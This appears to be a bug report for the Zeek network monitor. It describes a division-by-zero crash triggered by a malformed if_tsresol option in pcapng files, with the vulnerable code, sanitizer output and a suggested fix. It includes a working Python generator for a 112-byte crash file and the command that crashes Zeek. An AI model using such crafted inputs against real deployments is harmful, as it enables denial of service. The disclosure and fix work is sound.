Division by zero from `if_tsresol` option in pcapng IDB — SIGFPE crash on zeek -r
This was found by the Canadian Communications Security Establishment during their security scans of the Zeek code base, but we determined it wasn't actually a security issue since it only occurs when reading pcaps locally, and can be fixed in the public.
Summary
The pcapng Interface Description Block parser computes an interface's timestamp resolution
from the attacker-controlled if_tsresol option byte using 2 << (b & 0x7F) (power-of-two
branch) or pow(10, b & 0x7F) (decimal branch) without bounding the exponent. A byte such as
0x9F yields 2 << 31 == 0 (well-defined modulo 2^32 under C++20), so ts_resolution is
stored as 0. The first Enhanced Packet Block referencing that interface then executes the
integer division ts / ts_res with ts_res == 0, raising SIGFPE and terminating Zeek. A
112-byte crafted pcapng file crashes zeek -r deterministically.
Technical details
Exponent computation — src/iosource/pcapng/Source.cc:176-182 (ParseInterfaceBlock):
light_option opt = light_find_option(block, LIGHT_OPTION_IF_TSRESOL);
if ( opt && opt->length > 0 ) {
if ( (opt->data[0] & 0x80) == 0x80 )
intf.ts_resolution = 2 << (opt->data[0] & 0x7F); // 0x9F -> 2 << 31 == 0
else
intf.ts_resolution = static_cast<uint32_t>(pow(10, (opt->data[0] & 0x7f)));
}Sink — src/iosource/pcapng/Source.cc:201-205 (ParseEnhancedPacketBlock):
uint32_t ts_res = 1e6;
if ( pb.interface < interfaces.size() )
ts_res = interfaces[pb.interface].ts_resolution; // == 0
pb.ts_tval.tv_sec = ts / ts_res; // integer div by zero -> SIGFPE
pb.ts_tval.tv_usec = ((ts % ts_res) * 1e6) / ts_res;Path:
opt->data[0]is a raw byte copied verbatim from the file's IDB options by LightPcapNg's option parser; the only check isopt && opt->length > 0— no range check on the value.- With
opt->data[0] = 0x9F, the 0x80 branch computes2 << 31. Under C++20 (Zeek's target standard) the shift is well-defined modulo 2^32 and deterministically 0; the value 0 is stored intointerfaces[]. (The decimal branch reaches 0 too for exponents ≥ 10 via out-of-rangedouble → uint32_tconversion.) - When the next EPB with
interface_id = 0arrives,ts_resis loaded as 0 and the division at :204 executes. The interface-index/caplen checks in the callerExtractNextPacket()run only afterParseEnhancedPacketBlock()returns, so nothing guards the divisor.
Side note: the power-of-two branch is also off-by-one (2 << n instead of 1 << n), so even
legal if_tsresol values are mis-scaled — a correctness issue distinct from the crash.
Reproduction
Self-contained generator (112-byte pcapng: SHB + IDB carrying if_tsresol = 0x9F + one EPB):
#!/usr/bin/env python3
import struct
def block(btype, body):
total = 12 + len(body)
return struct.pack("<II", btype, total) + body + struct.pack("<I", total)
out = b""
# Section Header Block
out += block(0x0A0D0D0A, struct.pack("<IHHq", 0x1A2B3C4D, 1, 0, -1))
# Interface Description Block: linktype 101 (RAW/IP), snaplen 0 (=no limit)
idb_body = struct.pack("<HHI", 101, 0, 0)
idb_body += struct.pack("<HH", 9, 1) + b"\x9f\x00\x00\x00" # if_tsresol=0x9F, padded
idb_body += struct.pack("<HH", 0, 0) # opt_endofopt
out += block(0x00000001, idb_body)
# Enhanced Packet Block: iface 0, nonzero timestamp, 20-byte raw IPv4 header
ip = bytes.fromhex("45000014000100004011000a0a0000010a000002")
out += block(0x00000006, struct.pack("<IIIII", 0, 1, 0, len(ip), len(ip)) + ip)
with open("poc.pcapng", "wb") as f:
f.write(out)
print("wrote poc.pcapng", len(out), "bytes")Run:
zeek -r poc.pcapng -CObserved results (validated 2026-08-04 at commit 62443ad95d)
ASan+UBSan build (--build-type=Debug --sanitizers=address,undefined), exit code 99:
src/iosource/pcapng/Source.cc:204:28: runtime error: division by zero
#0 zeek::iosource::pcapng::Source::ParseEnhancedPacketBlock(light_block_t*) Source.cc:204:28
#1 zeek::iosource::pcapng::Source::ExtractNextPacket(zeek::Packet*) Source.cc:114:33
#2 zeek::iosource::PktSrc::ExtractNextPacketInternal() PktSrc.cc:134:10
#3 zeek::iosource::PktSrc::Process() PktSrc.cc:113:12
#4 zeek::run_state::detail::run_loop() RunState.cc:292:28
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior .../pcapng/Source.cc:204:28Release build (RelWithDebInfo, no sanitizers): SIGFPE, exit 136, core dumped:
Floating point exception (core dumped) zeek -r poc.pcapng -CSuggested fix
Bound the exponent and never store a zero resolution:
uint8_t b = opt->data[0];
uint8_t e = b & 0x7F;
if ( b & 0x80 )
intf.ts_resolution = (e < 32) ? (1u << e) : 1000000u; // also fixes the 2<<n off-by-one
else
intf.ts_resolution = (e <= 9) ? static_cast<uint32_t>(pow(10, e)) : 1000000u;
if ( intf.ts_resolution == 0 )
intf.ts_resolution = 1000000u;Defense in depth: in ParseEnhancedPacketBlock() add if ( ts_res == 0 ) ts_res = 1000000;
before the division.
Source: zeek/zeek